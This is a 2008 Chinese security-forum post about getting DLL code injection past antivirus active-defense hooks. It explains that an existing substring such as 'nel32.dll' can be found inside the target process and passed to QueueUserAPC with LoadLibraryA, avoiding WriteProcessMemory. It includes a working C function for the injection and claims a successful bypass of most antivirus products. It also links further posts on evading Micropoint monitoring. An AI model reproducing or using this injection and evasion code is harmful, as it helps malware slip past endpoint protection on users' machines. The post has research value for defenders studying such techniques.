微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 【shineastdh】绕过主动防御的代码注入方法思考
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#1  【shineastdh】绕过主动防御的代码注入方法思考


男, 24岁
西安市交通大学 张东辉shineastdh

学历:硕士, 核能科学与工程
2002-2006:西安交大数学系
2005年参加由教育部和中国工业与应用数学学会共同主办的2005年全国大学生数学建模竞赛,陕西赛区获奖
2006年:考取中国原子能科学研究院  核能科学与工程专业研究生
2007年参加全国研究生数学建模竞赛,获三等奖

个人简介:
将漏洞挖掘进行到底!  处处留心皆学问!

我的理想就是做中国最好的杀毒软件,现在正在学习微点,虽然微点在技术上有很多问题,但是思想上已经是创新了。另外微点实现这个思想的时候方法、细节还是有点问题,绕过就是很头疼的问题。没办法,搞事业就要不断的遇到问题,能做好技术,解决好问题才是王道!


2008年10月20日 星期一 上午 10:50

目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。

关于代码注入Ring3层的方法主要有:

l 远程线程CreateRemoteThread

l 消息钩子SetWindowsHookEx

l Ring3 APC QueueUserApc

l 修改线程上下文SetContextThread

其中第一种和第三种方法需要传入一个param,但是要求这个param必须在目标进程内存空间,之前的一些方法比较笨重,直接在目标进程VirtualAllocEx内存,然后把希望的参数内容写入这个内存,使用了WriteProcessMemory函数,而这个函数是被hook的,所以杀软可以很容易的拦截代码注入行为。

仔细想想,杀软的这种防御是很失败的!原因是为了要一个param,攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存,我在思考是否可以不用WriteProcessMemory函数呢?反正我的目的就是得到一个合理的param,并且这个param是在目标进程内存空间即可!

思考后,原来一切是这么容易啊,哈哈!乐了我半天~~~

举个例子:假设我是这样注入的:

QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

我想让上面的param的内容是一个“xxx.dll”,就可以了,而且要求这个param是在目标进程内存空间

您想到了么?哈哈

答案:直接在目标进程搜索一个这样的字符串“nel32.dll”就可以啦!因为“kernel32.dll” 这样的字符串是一定存在的,那么为了和“kernel32.dll” 不一样,那就随便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目录下面撂进入一个nel32.dll,这样注入大部分杀软都是不能拦截到的!哈哈!

写了段程序,做了个试验,仅测试了下趋势,完美绕过!其实杀软稍后测试。。。

DWORD EnumThreadandInjectDll(HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;

//////////////////////////////////////////////////////////////////////////
//不写目标进程的内存
//直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=1000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//获得该进程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;
MODULEENTRY32 me = { sizeof(me) };
    BOOL fOk =Module32First(hSnapshot,&me);
    for (; fOk; fOk = Module32First(hSnapshot,&me))
    {
        PVOID pvPreferredBaseAddr = NULL;
        // 取得进程模块基址
   if(stricmp(me.szExePath,"explorer.exe")==0)
   {
    defaultAddress=(DWORD)me.modBaseAddr;
    break;
   }
    }
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
   printf("ReadProcessMemory error!\n");
   return 0;
}

for(int i=0;i<bufflen-dwLen;i++)
{
   if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
   {
    printf("found nel32.dll already!... %s\n",buffer+i);
    while (pCurrentTid)
    {
     HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
   
     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
     }
   
     printf("TID:%d\n", pCurrentTid->dwTid) ;
     pCurrentTid = pCurrentTid->pNext ;
    }
    break;
   }
}

return 0 ;
}

【shineastdh】show下微点送我的微点!
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

【shineast】终于领悟了主动防御
http://bbs.micropoint.com.cn/showthread.asp?tid=33493&fpage=2

【shineast】写一个完整的主动防御软件怎么就这么累呢?!
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

【shineast】东方微点注册表保护绕过及反绕过实现
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

【shineast】偷梁换柱——再次实践了一个绕过微点所有监控的方法
http://bbs.micropoint.com.cn/sho ... ghlight=&page=1

【shineast】再爆几个微点没设防的自启动或被动启动
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

【shineastdh原创】玩玩微点之一:利用CreateEvent函数不让微点启动
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

【shineast】在微点的监控下复活病毒木马,小发现而已
http://bbs.micropoint.com.cn/sho ... ;highlight=shineast

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-10-20 11:22
查看资料  发送邮件  访问主页  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号